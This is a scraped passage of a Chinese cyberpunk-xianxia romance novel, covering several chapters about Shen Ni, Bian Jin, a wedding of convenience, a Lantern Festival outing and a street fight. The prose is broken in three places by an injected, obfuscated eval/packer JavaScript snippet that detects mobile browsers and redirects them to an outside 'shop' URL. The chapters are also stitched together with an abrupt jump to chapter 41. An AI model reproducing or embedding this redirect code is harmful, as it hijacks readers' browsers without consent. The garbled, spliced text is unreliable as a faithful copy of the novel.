当初师尊帮边烬打造玉璧时年事已高,精力不济,但胜在经验丰富,用尽毕生所学才打造出唯一一枚适配边烬的玉璧。
如今师尊早已西去,沈逆年纪太轻,历练尚且不足。
可经验有时候未必胜得过天赋和野心。
沈逆计划重新打造无坚不摧的机械脊柱,再帮边烬更换全新一代玉璧。
沈逆心里有这想法,没跟任何人说过。
师尊打造的玉璧厉害归厉害,依旧配不上边烬。
能配得上边烬的玉璧,唯有出自她沈逆之手。
……
一直忙到子时,高度集中注意力的沈逆缓了缓神,眼睛红肿干涩,滴了眼药水之后倦意翻涌,浑身发冷。
今夜好像大降温,屋内的恒温系统都有点承受不住这天寒地冻。
推开工作室的门,被一阵寒风迎面卷得险些退回室内。
厚厚的毛皮大氅一瞬间便被吹透,今日气温降得让人猝不及防。
虽说喜被厚实,可大冬天的铺在地上还是会有冷意钻上来。
她打算去汤泉中沐浴,暖暖身子睡个好觉。
又累又冷的身子泡入温热的水中,热流覆体,沈逆舒服地靠在池边。
睫毛上沾着水汽,眼前是热气蒸腾,头顶雨雪霏霏。
今年长安城的雪似乎格外多。
记忆里,她十岁那年的冬日也是这般,风雪不断。她缠着边烬堆雪人,并不知道边烬前一日为了救外门师妹师弟,与宿敌殊死相斗,腿受了伤,其实走动很不方便,但从头至尾都没有说,为她堆了一个全师门最大最美的雪人。
这么说来,当初她偷藏在军队中前往北境,哪危险去哪儿。
要不是边烬拼死相救,恐怕她现在最好的结果也是多了一只义眼。
后来那十鞭抽得是凶,可醒来后,床边放着一瓶金不换。
那是边烬痛到受不了时才舍得用一点的疗伤圣品,竟将大半瓶都留下了。
原来,作为边烬的师妹时,边烬已经倾尽了所有来疼爱她。
是她贪心,还要更多。
沈逆靠在池边,闭了一会儿眼。
将烦人的情绪从身体里挤出去后,重新睁开双目。
拿皂角时,发现放置沐浴用品的竹盘上有一包拆开的皂角。
被拆开的是梨花味皂角,沈逆先前惯用的香味。
因为边烬对陌生的花香太敏感,两人成亲之后,她便换成清淡的禅茶香味。
在这个汤泉中沐浴的,除了她只可能是边烬。
边烬自己的无味皂角,数量并没有减少。
这是用了她的。
玉臂破水,水珠从柔滑的肌肤上滚落,留下一片晶亮。
温热的水珠从迟疑的指尖滴下,滴在干燥的池边岩面上,很快蒸发。
沈逆捏着那块拆开的皂角,浸入
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12330724|130134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
热水中,轻轻揉搓,香氛弥漫。
半掌大的纯白皂角在肌肤上缓缓磨过,梨花的香味慢慢沁回她的身体。
夜间水波声空荡荡的,有些寂寥。
沈逆想起昨夜抱着边烬时满怀的软意,显得此刻形单影只,莫名空虚。
回到寝屋时,一直放在地上的被褥不在原处,被齐齐整整地铺在床上。
连她睡觉一定会抱着的小黄雀圆鼓鼓的身子,都被边烬好端端地归置在枕边。
边烬躺在床里侧,背对着那床整齐的被褥和小黄雀。
屋子里隐约能闻到梨花的香气。
沈逆读懂了边烬的默认,掀开被子坐到她身边,将小黄雀抱起来,有点无处安放。
最后还是放在她和边烬中间。
像一个屏障,让边烬安心的屏障。
边烬肩膀窄窄的,身体的形状沈逆还记得,指尖还有被她咬合、舐过的幻意,有些睡不好。
不知到了几更,沈逆轻轻翻了个身。
边烬忽然开口,“睡不着么?”
“有点。”沈逆看着红帐说,“在燕落打仗这些年都是独睡。”
边烬沉默了几息后,问:“你的恋人们呢?”
沈逆:……
要不是边烬提醒,沈逆都要忘了自己撒过谈了好几场恋爱的谎。
人果然不能说谎,说了一个谎,就要用无数个谎去填补。
沈逆没别的优点,就嘴上永远没有破绽。
“都是露水情缘,谁会习惯和露水情缘睡在一起。”
或许是这话太过无情,说完后边烬便没再接话了。
夜色浓灰,梦影飘拂。
沈逆终于睡着了。
今日事多,夜里又泡了热汤,倦意浓浓,入睡后睡得很沉。
边烬下床的动静也没让她醒转。
边烬站在点了夜灯的屋内,起初未动,像一抹不知从何而来,又不知将去何处的影子。
很快,她的耳朵捕捉到了极其细微的熟悉波动。
无声推开屋门,院内冰天雪地,一只通体雪白的机械渡鸦破雪而来。
它的眼睛透过窗户,瞄准了屋内的沈逆,像一颗流星飞速刺向屋内。
啪——
边烬随意一抬手,单手将它遏制,用力一握。
渡鸦身体瞬间被碾得变形,红色的电子眼突出眼眶半掉不掉,嗓子里发出微弱又断断续续的声音。
是秦无商的声音。
【嗞——嗞——我又梦到你了,梦到你回到我的身边……我们夜夜欢愉,你还心甘情愿成为‘魔种’的食物,嗞——】
【你怎么还要在长安城待一年……嗞——你亲爱的小师妹要是……知道你的真面目,还会……喜欢你吗?她只会觉得你恶心。嗞——嗞——】
【我会去长安城找你,嗞——我们会再见面的,嗞嗞——】
边烬安静地听完秦无商的话,随手捏碎渡鸦的脑袋。
眼若平湖,只嘴角发出一声冷嗤。
走到花坛边,将尸骸随意埋进雪下的泥地里。
回到屋内,慢慢走到沈逆身边,借着光安静地看着她。
阿摇……
长这么大了。
但还是那么傻。
抬起手,忍不住想要抚摸沈逆的脸。
【知道你的真面目,还会喜欢你吗?】
【她只会觉得你恶心。】
掌心有一道被渡鸦尸骸划破的伤口,血险些滴下。
立即收回。
这双手太脏,不能碰她。
边烬在黑夜里无声地看了沈逆一会儿。
屋外的雪越下越大,很快覆盖了脚印。
所有的秘密被悄然埋葬,好似什么都没有发生。
14. 第 14 章
沈逆难得睡到日上三竿,万姑姑怕朝食放凉了过来敲门,她才醒转。
醒来时第一反应便是觉得眼前光景有些陌生,自己居然在床上。
继而想到昨夜边烬的默许。
转头,边烬面对着她,正在慢慢苏醒。
边烬脸颊枕着手背,长长的青丝铺在床面上,柔肤凝脂,一团香软,毫不设防。
缓缓睁开眼睛,好看的桃花眼有些发红,昨夜她应该也没睡好。
边烬眼眸懵懂地轻转,像只刚出生的小鹿。
直到和沈逆对视,蓦地清醒,所有心性瞬间回到了雪亮的眸底。
沈逆:“早。”
边烬想坐起身,意识到自己只穿了件里衣,有些不自在地将被子往身上拉。
沈逆很自然地坐起来,没看她,直接侧身下床,将外衣递过来给她。
边烬道了谢,沈逆想起边烬以前哄她入睡的时候,向来都是只穿一件里衣,也不曾见她遮掩。
边烬却是明白,如今两人关系暧昧,又有那番表白的前情,加之沈逆的确长大了,玲珑的体态让边烬很难再将她当成孩子,态度自然无法如从前一般松弛。
各自穿好衣服,分别去洗漱。
边烬洗脸的时候,手掌传来一阵刺痛。
摊开掌心,发现手掌上有一道被锐物划破的伤口。
浅浅皱眉,思绪游荡了片刻。
净面之后擦干净手,向万姑姑要药箱。
侍女来唤沈逆去用早膳的时候,沈逆正坐在暖阁中,随手翻看昨夜入睡后的内廷文书和宅中日志。
留意到侯府防盗系统里有不明入侵者的痕迹。
痕迹的落点在她们主院院内。
她去院中转了一圈,并没有发现什么可疑的事物。
或许是误入的鸟类或小兽?
但这些小动物对探测和危机都很敏锐,应该不会贸然进入到监控区域才是。
早膳桌前,面对面而坐,沈逆留意到边烬左手手掌多出来的绷带。
“何时受的伤?”
沈逆捏着汤匙问道。
边烬道:“不小心划破的,一点小伤。”
沈逆思绪略有些凝滞,想了想,没追问。
放在桌边的电子表不断震动,沈逆目光扫过去,屏幕感知到她的视线,自动解锁。
随意看了眼,无论是城防工程司的群还是私群,都在讨论明晚上元节通天火轮首次亮相的事,一群人兴致勃勃地要去凑热闹。
在黑魔方出现前,上元节就是一年当中最热闹的节日。
黑魔方的阴影覆盖这片大陆后,所有人自出生起便担惊受怕地过着朝不保夕的日子。
一直到燕落大捷,沈逆暂时将黑魔方消灭,长安城作为最后一片净土,终于渐渐恢复昔日的繁华。
街上的行人不再失魂落魄,偶尔也有了笑容,又开始对未来产生奢侈的希冀。
通天火轮便是李渃元亲自督促完成的大工程。
上元节准备的一系列灯谜活动和表演,都是为了让京师百姓重兴旗鼓。
百姓们有了舍旧图新的斗志,帝国才可能重现生机。
沈逆随意跟边烬提了上元节的事。
边烬道:“我也收到民政司的邀请函了。”
沈逆随口一问:“你去吗?”
她知道边烬一贯不喜人多的地方,可话题都说到这儿了,两人还坐在一块儿用膳,便随意提一句。
边烬以为沈逆在邀请她一同前往,心想她可能要对外继续做做样子。
就像人日,腰间得有个妻子做的人胜,才不会被下属看热闹。
那上元节佳节去看火轮,身边有妻子陪伴才像样。
边烬应道:“嗯,去。”
沈逆有点意外地看她。
“那,我要带什么吗?”边烬问她,“灯谜活动你要参加么?如果要参加的话我准备一下。”
沈逆:……
原来她要跟我一起去。
边烬是那种要么半点不做,一旦做了就一定要得第一的人。
就算猜灯谜这种休闲活动她都会全力以赴。
所以,沈逆如果要参加,她会立即去补习灯谜知识,务必拔得头筹。
每晚城防工程司那边都要有人轮值,上元节这样的大节日,大家都想和亲朋好友待在一起,沈逆并不觉得边烬会想和她过节,先前便约好了今夜她去值守,让属官们好好过节。
如今……
沈逆打算明天昼时去司里瞧瞧有没有可换班的人。
实在不行她现场写一个监控程序。
“倒是不用准备什么。我明日要去工程司一趟,你在家等我就行。”
边烬:“好。”
说这个“好”字的时候,还微微点了点头。
看到边烬垂头时的发旋,沈逆竟有一种边烬很乖的错觉。
次日。
沈逆用过午膳便穿了斗篷出门,说申正初刻就会回来,到时候她们一同去市集。
边烬很不擅长等待。
到申时还有近两个时辰,她回到卧室里,打开衣柜打算选一套今夜穿的襦裙。
卧房的北面是一整面的隐藏式衣柜。
上次边烬和万姑姑一同整理的时候就发现了,沈逆的衣物很少,放在同排另一侧的角落里,只占了一格位置。衣柜空出了一大半,专门等待着边烬填满。
衣柜很宽敞,边烬的衣饰太少,根本装不满。
除了最近买的一些,最多的便是成亲时沈逆为她购置的那几身婚裙。
全都是颜色明艳的时兴款式。
她曾跟万姑姑说这些样式和色彩都太过年轻,不适合她。
万姑姑却道,侯君觉得和她万分相配呢。
万姑姑忠厚老实,在双极楼时便是远近驰名的老好人,她这么说或许也是为了双妻和睦,沈逆未必真这么说过。
边烬在衣柜前踌躇许久。
目光从自己买的衣物上掠过,最后还是停在了那几件婚裙上。
.
城防工程司。
沈逆推开门,寒风趁机钻进屋,让在温暖的室内只穿单衣的曾倾洛被吹得瑟缩了一下。
沈逆将门合好,脱去斗篷问道:“你怎么在?”
曾倾洛弹了一下手中厚厚一叠报销凭证。
“这不还在盘账吗?这个城防工程地基都没打牢,已经有一大堆的烂账了。反正我家就我一个人,放不放假的没什么区别,就过来继续忙一忙。能早日将帐捋顺,城防工程真正启动的时候也会更顺利吧。”
曾倾洛站起身想去倒水喝,左腿义体忽然有点失控,身子一晃差点摔倒,被沈逆扶了一把。
曾倾洛坐回椅子上,“谢谢小师姐,吓我一跳。”
沈逆张开掌心,掌心内的诊断仪自动被激活,散发出淡淡的白光,从曾倾洛的义体上扫过。
扫完之后,沈逆抬眸静静地看向曾倾洛。
曾倾洛被她看得有点心慌。
“小师姐,别这样看我,我,也是为了以防万一。”
“那也不能使用超过你玉璧承受能力的义体。你装备的是B级玉璧,却使用A级义体回头失控甚至过载短路,你想得精神病吗?”
自未来胶囊带来的科技大爆发后,人类进入机械为主导的赛博新世代。
这个世代的人类贪婪地追求更强大的力量,机械改造开始的那十年,无数人因为过载而发疯,甚至死于短路。
疯狂又动荡的时代孕育出了无数的怪物,他们互相仇视、厮杀,大陆变成一片血腥的垃圾场。
有人推测,让人闻风丧胆的神秘电子病毒黑魔方,便是诞生于污秽的垃圾场的最深处。
之后的百年,玉璧在万众瞩目中诞生了。
玉璧的出现,让人类能够驱动更强大的义体,但依旧有极大的风险。
一个人能装载的玉璧上至什么等级,和本身天赋高低有关。与此同时玉璧的等级也制约着义体的品级。
义体的品级要是太高,能量过强,超越了玉璧的承载力,很容易让人在过载中发疯。
精神病就是在玉璧上烫一个洞,是不可逆转的严重创伤,更有可能直接暴毙。
沈逆平日里挂着的假温和,此时面对曾倾洛不负责的操作,完全不见踪影。
她年纪不大,这张漂亮的脸凶起来却是很吓人。
曾倾洛捏着膝盖,低声道:“我当然不想得精神病,更不想死,可是……黑魔方不会消失的,我得做好准备。以前的义体太弱了,要是黑魔方卷土重来,只有B级战斗天赋的我根本保护不了任何人。”
曾倾洛的腿是被她妈亲手砍断的。
她妈和她相依为命多年,不知从何感染了黑魔方,发了疯,砍伤曾倾洛之后跳崖自尽。
对黑魔方的恨意,让她不惜将命交给沈逆。
在她心里,沈逆是彻底杀死黑魔方的最大希望,她希望自己能为铲除它尽一丝微薄之力。
也一直梦想着能够获得更强大的力量,为母亲报仇。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12339134|130134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>屋内安静了好一会儿,沈逆用指尖弹了弹曾倾洛的脑袋,说:
“怎么不跟我说?放着你小师姐不用,跟我客气?”
曾倾洛捂着脑袋,不好意思道:“那我不是怕你新婚燕尔,太忙了么……”
别人的新婚燕尔的确很忙,忙着伺候妻子、被妻子伺候,或者相互取悦,乐此不疲。
她和边烬没这方面的事,清闲得很。
到底是私事,不好跟别人说她与边烬还没圆房,沈逆只道:
“正好我在帮你大师姐修复脊柱和玉璧,你什么时候去我那儿一趟,我顺手也给你做一条腿。”
沈逆亲手打造的义体,即便是一根B级手指,在暗网上的价格都是百万起跳,曾倾洛自然不好意思主动提。
这会儿沈逆自己说了,她红着小脸笑着道:
“那,什么时候你和大师姐有空了,我再去拜访。”
“你多去看看你大师姐,她肯定开心。”
两人正说着,电子手表一齐震动。
是第五阙同时飞鸽传信给她们。
曾倾洛喜道:“第五姐姐已经进长安城了,一会儿就过来。”
曾倾洛在燕落打过两年的仗,她的右手被齐掌切断过,四根手指都是第五阙掘地三尺千辛万苦帮她找回来,沈逆用纳米技术缝合了一晚给缝回去的。
沈逆:“她这就来了?”
曾倾洛已经迫不及待收拾东西,准备迎接第五阙。
“小师姐,她之前好像就给你传过信了,说她要来城中执行任务,顺便向你道贺喜新婚之喜,就是上元节这日到。”
这么一说,沈逆想起来了。
“今晚我有些别的事要办。”
曾倾洛恍然大悟,贼贼地笑:“难怪你这时候跑过来。是不是要和大师姐去看通天火轮?你去吧,我来陪第五姐姐,用完膳就回来值班。”
沈逆也没拒绝,“今日没人干活,工程都停了,晚间应该没什么事。我先检查一下所有模块。”
曾倾洛:“你何时走?”
沈逆单手飞快地敲键盘,撑着下巴的那只手指尖,压在微微扬起的嘴角边。
“检查完就走。”
.
边烬披着远山青色斗篷,几乎被风吹透了才从古玩市集转出来。
戴着素白牛皮手套的右手中,托着一个小小的水晶球。
她一边将头顶上的积雪拍去,一边观察水晶球。
水晶球内是个简单到不能再简单的造景。天空中不断往下落着如雪的白砂,地面上有一间茅屋,茅屋外站着长相模糊的一家三口。
这些日子师妹对她的照顾,她记在心上,一直想买个小礼物回馈。
上元节最是热闹,当是送礼的好时机吧。
犹记师妹小时候最是喜欢抱着水晶球,看白砂簌簌落在茅屋上,能看一上午。
不知是不是在想她不知所踪的耶娘。
当初那颗水晶球也是边烬送她解闷的。
如今想要送份谢礼,便想到了这旧物。
已经有多年没见这类玩物,市面上早就不卖了。
边烬去古玩市集寻了一下午,总算淘到一个类似的。
何必等到申时,也不用沈逆在奔波回府,她出来买了礼物,去工程司寻沈逆便是,然后和她一同去看通天火轮。
到了工程司门口,眼仁大的六出纷纷扬扬,黑沉沉的天际没有消停的时候,正在酝酿一场大雪。
边烬看见沈逆正背对着她站在工程司门口,穿着那件和她同款的斗篷。
边烬正要唤她,却见一位年轻女子从另一侧快步走去,开心地将她一把抱住。
雪花纷糅,沈逆侧过脸看向对方。
两人年龄相若,四目相对,雪中相依的画面美不胜收。
边烬心道,幸好没唤。
回想起早间那番对话,意识到沈逆那会儿估计是没想和她一起过上元节的。
是自己多嘴,让沈逆为难了。
好好的节日还要分出申时之后的时间,离开女友,来陪她这个有名无实的假妻子。
边烬有些罪恶感。
本来想上去跟沈逆说,今晚算了吧,陪女友要紧。
但她突然上去说些有无,小女友会不会不高兴?
还是不出现为妙。
她将水晶球藏入袖中,缓缓在雪地里踱步。
买时不觉,现在再想,边烬意识到师妹已经长大,二十有二的年纪还南征北战的,恐怕早就看不上这无趣的小玩意。
15. 第 15 章
边烬转身离去的时候,沈逆将第五阙隔开。
沈逆:“第五女郎,你忘了,我已成亲,不适合搂搂抱抱。”
第五阙眼尾上翘,长相艳丽颇有风情,却是一身武将的干脆,听沈逆这么一说立即退后好几步,离她远远的。
“还真忘了,主要是你这性子居然能成亲,实在让人难以想象。”
以前她俩在北境是战友,第五阙不是沈逆的士兵,而是北境以西睦州的副使之一,睦州节度使的左膀右臂。
睦州不属于北境十二州,沈逆这北境总都督管不到她,但她不仅一直向北境增派援兵,更亲自奔到北境杀敌。
两人曾经并肩作战,一起从死人堆里相互扶持,爬回人间。
打仗之外她们几乎没有怎么相处过,但一起出生入死过的交情不啻手帕交。
在第五阙看来,沈逆这人城府深,矛盾且难懂。一颗心全在驱杀黑魔方上,能说会道,可十句话里九句半都不过心。
而且,第五阙非常确定沈逆的心早就丢在燕落了。
燕落那三年,沈逆一边征战一边在暗暗地寻找一个人。
她要找的人是谁,第五阙不知道,她也一直守口如瓶从不多说自己的事。
某夜,沈逆得到了有关于那人的一星点的消息,连夜狂奔万里,烧坏了飞艇,自己用双腿跑到了病毒四溢的乱葬岗,一具具尸首翻找,在尸山中彻夜不眠。
晨光升起时,第五阙在她几乎滴血的双眼内看到了一丝笑意。
“找到了?”
“没有。”
“那……”
沈逆抬起头,看向曙光乍现的天边。
“未见尸首,那便还有希望。”
沈逆对那个未知之人有入妄般的偏执,病态得毫不掩饰。
第五阙觉得沈逆一颗心早就被那人掏空了,爱而不得,却还心怀希望。
如今却被天子赐婚,第五阙真心替她遗憾。
以为成亲之后面对不熟的妻子得多难熬,没想到她居然还会顾忌已婚身份,战友搂一下都要躲得远远的。
方才,沈逆分明听到了熟悉的脚步声,被第五阙这么一打断,再往声源望去,空无一人。
大雪已经将所有的脚印覆盖。
沈逆有些心不在焉地勾了勾腰间歪脸人胜,随意道:
“第五女郎的脑子是不是还没修好,不是要来恭贺我新婚的么,结果转头就忘了。”
第五阙在燕落时的确被人敲碎过脑袋,现在后脑勺换上了高强度合金。
第五阙不爽道:“怎么这么久不见,一见面你这张缺德嘴就戏弄我?”
第五阙身量几乎和沈逆一致,两个高挑的美人站在工程司门口,来来往往的人都忍不住往她们这儿瞧。
“第五姐姐!”
曾倾洛双手抱着厚厚一摞的账本从司里出来,看到很久未见的第五阙,开心地喊她。
第五阙一把将她抱入怀中,蹭她的小脸。
“坏狐狸不让抱,我的小倾洛总是让抱的。哎,还是这么软乎乎的,好香。”
“坏狐狸”自然是指沈逆。
曾倾洛被抱得喘不过气,挣扎起来又不真心,险些被第五阙身上的香味香晕了。
第五阙单手将曾倾洛怀里的账本拿过来,说:“走,我请你们吃饭去!”
沈逆却说:“不了,今夜我另有安排。”
第五阙好奇:“你要陪妻子?”
沈逆正要回答,收到边烬的飞鸽传信。
打开信之前,沈逆以为边烬等不及让她现在就回去,凤眼中染了点点笑意。
点开传信。
边烬:【今晚我有别的事,不去看火轮了。】
短短一行字,沈逆看完抬起眸,又恢复成平日的冷感。
指尖悬停在电子表上,几息后回复边烬:【好。】
师姐向来不是失信之人,今夜会爽约,应该真有旁事要忙。
第五阙揽着曾倾洛的肩头,对沈逆说:“你不去的话,我和倾若妹妹单独吃食儿去咯?”
沈逆垂下手,眼尾也跟着微降低,心口有丝闷酸。
别打扰人家了,在外打发点时间吧。
沈逆道:“又没事了,我也去。”
不是要和大师姐过上元节去吗?
曾倾洛心中疑惑,却也不好多问。
.
与喧嚣的人群擦肩而过,边烬不知不觉走远了。
路上的行人渐多,都是去看火轮的。
周遭的热闹被一层无形的气场阻隔在边烬身外。
静冷疏离的女人,宛若一片无意路过人间的雪花。
雪落入青翠的竹林间,风动,飒飒作响。
边烬的思绪被沈逆填满。
回溯这段荒唐的时日,与沈逆的重逢本就意外,两人关系突兀的转变更是始料未及。
她从没有婚配的打算,遑论与沈逆成亲。
温馨的日子原本就不属于她。
更何况,时日一到,她便要离开。
边烬思绪沉沉,雪将她白瓷般略显病态的脸照得更加莹白。
本能地避开人群,不知不觉间走到了小巷子里。
一直尾随在她身后两个男人终于决定现身,挡住她的去路。
“这不是边总都督吗?好久不见。回长安成亲,如何连请柬也不给老友一份?当初咱们两兄弟可没少受您照顾。”
“什么边总都督,不过是个被发落下狱的叛国贼,连马都骑不了的残废。攀上了天子身边的红人,便又开始不可一世了。”
这两个男人穿着破旧的袄子,一高一矮,胡子拉碴,像两张被风不小心吹到她面前的破布,灰突突的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12355019|130134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
与这热闹的新岁不太和谐,对边烬的话也十分刻薄。
他俩曾经是边烬手下的兵,数年前还在边塞时,因为临阵脱逃,被边烬当着全军的面打了五十军棍,赶出边关,且永不入军籍。
两人跑回京师,在城中坑蒙拐骗了好长一段时日,将这捉襟见肘的贫贱日子全都归罪到边烬身上。
得知这位昔日帝国之刃因叛国罪关入死牢,可是幸灾乐祸了好一阵子。
没想到边烬居然还能死里逃生,还赐婚给了当朝红人。
不过听说那沈逆对她没有情分,看来是真的,不然眼下大过节的,怎会让她形单影只?
边烬没抬头,没分去半眼,对他们的话置若罔闻。
脚步没有停顿,欲从他们身边走过。
高个男人猛地要抓她,边烬侧身轻松闪避。
这个闪避的动作她做过无数次,再轻松不过。
但现在的脊柱无法承受她恣肆的动作。
脆弱的脊柱因为高难度的躲避行为,猛地蹿上来一阵尖锐的刺痛。
动作凝滞了半分,她躲过了触碰,水晶球没躲过,被对方一掌推落,掉在一边的石阶上,撞了个粉碎。
“废人还继续扮清高?”
矮个男人抽出一根闪着白电的铁杵。
“当初你当着全军的面打我们军棍,害我瘸了腿,至今找不到差事,也没法成亲。这么多年了,也该连本带利还给你了。”
边烬直立不动,冷傲的双眸内没有惧意,不见波澜。
洁癖如她,甚至都没有看向这两个人。
忽视是最直接的轻蔑,高矮二人怒意翻腾,快步上来想把边烬打晕,再拖到隐蔽地方好好折辱。
边烬闭了闭眼。
看来沈逆的一番心血,今夜要毁于一旦了。
两人一前一后踏着雪泥冲向边烬。
边烬从腰间抽出刚买的新武器,鞭子当空横抽,发出恐怖的脆响,凶狠的白光闪过,直接打爆了两人的眼珠。
剧痛之下眼前一片漆黑,两人惨叫着什么都看不见。
边烬长腿横扫,二人仿佛被巨型飞艇迎面冲撞,千钧之力轰然冲击在他们身上,直接被踢飞十数米。
痛号划破夜空,地面上划出两道凌乱的雪痕。
高个男人下颌当场被踢碎,露出短路的线管,陷入昏迷。
矮个男人的合金头骨被整个踢歪,脱臼的下巴挂在脸下将掉未掉。
他挣扎着想站起来,身子费劲地起伏着,却被一股巨大的力量重新踩回了肮脏的雪地里,碾得稀碎。
这把帝国之刃即便折断了,杀几只臭虫还是不在话下。
巷子外锣鼓声渐浓,盛世灯火重燃。
万象更新的热闹中,剧痛穿体的边烬垂眸,安静地看向路边破碎的水晶球。
半晌,收回目光。
40-50
第41章
沈逆走到兰台大门口,见一位穿着圆领粗布小袖的妇人,用力拽着边烬的袖子,边哭边诉自己失去丈夫后生活何等凄惨,原本姣好的面容也因为扭曲的表情而变得狰狞。
那妇人好像站不住似的,双膝打弯,用力将边烬往下拖拽。
而边烬无论她怎么拉扯,都如雪松挺拔,巍然不动。
边烬实话实说:“我记忆模块受损,丧失了那三年的记忆。你丈夫如何过世的,我不记得了。”
那妇人半点不信。
“怎么可能忘记!”妇人双目怒睁,“我夫君曾与我说过,你边总都督一向强记博闻,过目成诵,活生生的人死在你面前,你居然能忘?况且我听闻你伤的不过是脊柱,与记忆模块又有何关联?怎会平白无故失了忆?怕不是为了担罪责故意找的借口吧?边总都督,你怎么能这般无情无义!”
她死扯着边烬袖子的手骨节发青,用力到发抖。素白柔软的兰台官袍被她攥得皱巴巴,沾了一大团的灰土上去,连沈逆看得都忍不住蹙起眉头。
而天生喜洁的边烬,完全可以一把将这死缠烂打的妇人推出去。
但她没这么做。
边烬:“我也在尽力修复记忆模块,若有朝一日想起,定会给你个交代。”
那妇人撒了半天的泼,边烬却不疾不徐温言以对,衬得她更是蛮不讲理。
妇人对着某个方向怔了一息。
这个细节没逃过边烬的眼睛。
妇人忽然仰天大哭,哭声惊天动地,今日上值的兰台属官全被她引来了。连路过兰台的普通百姓都好奇地往里探头探脑。
妇人是个人来疯,越多人围观她就能嚎得越大声。
“可叹我夫君替你出生入死,却落得个死无葬身之地!百万大军魂归黄泉,唯独你一人苟延残喘?你为何能独活?为何不跟他们一起死在北境!夫君、夫君啊——”
“听说你与丈夫感情早就破裂了,在他上前线之前你俩已经分居一年多,如今居然还来为他鸣冤喊屈。周嫂,该说你一句情深义重,还是脑袋被门夹了?”
周氏夸张的哭声被沈逆一句轻描淡写突兀地打断。
周氏的眼泪还挂在眼角,纳闷地睁开眼往边烬身旁瞧。
这一身绯袍好生惹眼,更惹眼的是她那张不染风尘的容颜。玉身沐浴在阳光下,年轻纯美,将身后饱经沧桑的兰台衬得更加暮气沉沉。
周氏警觉起来,问她:“你是……”
“我是何人,为什么会如此了解你的事,对吧?”
方才还如鱼得水的周氏从沈逆的话中感受到了压力,不由自主地紧张起来。
沈逆执着戒棍,挑起周氏的手腕。
见她还不肯撒开边烬的衣袖,直接打开戒棍的电击模式。
周氏“啊”的一声惨叫,立即放开了边烬。
沈逆站到边烬和周氏中间。
“我是边烬的妻子,也是她在双极楼时的师妹。周嫂年纪大了,有些事不记得没关系,我来帮你回忆回忆。你丈夫齐誊加入我夫人麾下时,是我帮忙写的军编文书,每位士兵的家庭状况都需登记在案。”
其实周氏一眼就认出了沈逆这位帝国红人,不过先前没将她和双极楼那位古灵精怪的小师妹联系在一起。
这么一说,周氏想起来了。
当年的确写过那军编文书,而且齐誊还在世时家宅不宁,时常争吵,感情还好的时候也曾随丈夫去双极楼送礼,还给边烬说过亲。说亲的时候有个小女孩站在人群之后,眼神格外犀利,估计就是她。
周氏常年在市井讨生活,免不了与人正面交锋,脑子转得飞快,立即寻到了沈逆话中的破绽。
“就算是你帮忙写的军编文书那又如何?军中编制百万之多,我家夫君不过是个小小步兵,你怎么可能记得我家小事?莫非这种事也值得你全部写入记忆模块,供随时翻找?”
周氏对着周围围观者喊道:“别听她瞎说,我与我夫君琴瑟和鸣,恩爱非常!”
边烬留意着沈逆的神态。
听到周氏这句话时,沈逆眼眸里的笑意更甚,便是看见猎物落入陷阱里时愉悦。
她正等着周氏这句话呢。
周氏见她那神色心里咯噔一下,感觉自己好像中了计,可一时又想不明白自己是着了什么道。
直到她发现沈逆双手有些异样。
右手的指尖不时敲击着不知何时从电子手表中投出的键盘。
周氏忽然觉得胸口一阵怪异的微痛,心口仿佛被什么东西强硬地开启。她捂着欲呕的心口,正想要质问沈逆对她做了什么,一开口并不是自己想说的话,变成了一阵憨厚的傻笑。
“??”
周氏立即捂住自己的嘴。
“怎么捂起来了?怪不通气的,别捂了。”
沈逆又是轻敲了几下键盘。
周氏的手失控般颤抖着,竟听从沈逆的话,慢慢放下。
周氏像看鬼一般恐惧地看着沈逆。
“你说你与丈夫琴瑟和鸣,恩爱非常是吧,那一定有很多恩爱的回忆了。”
沈逆指尖在键盘上轻柔舞动,周氏记忆模块中的影像直接被投影在兰台门口的大白墙上。
第一段投影中,周氏操起桌上的花瓶用力向丈夫齐誊掷过去。齐誊手里还攥着她一把头发,醉醺醺的没能躲过,脑袋当场被砸得血流成河。
投影里周氏大骂:“你这无能狗彘,怎么不喝死在外面?”
齐誊捂着脑袋指着她威胁,“这是我家,我如何不能回来?我想回就回!”
“你还知道这是你家?你对这家有出过半分力?”
“我没出过力?你偷人的钱难不成还是你自己挣的?!”
两人相互厮打咒骂,污言秽语不堪入耳。
围观众人连连惊叹,周氏浑身摸了个遍想要挡住投影,可无论挡哪儿投影都在继续播放。
周氏惊慌大喊:“不许放了!停下!给我停下!”
又是一段投影。
齐誊死讯从北境传来,周氏当着传讯士官的面假意抹了又抹没有半点眼泪的眼睛,哭哭啼啼。之后回家立即取出藏了多年的陈酿,与姘头欢天喜地喝了个烂醉。
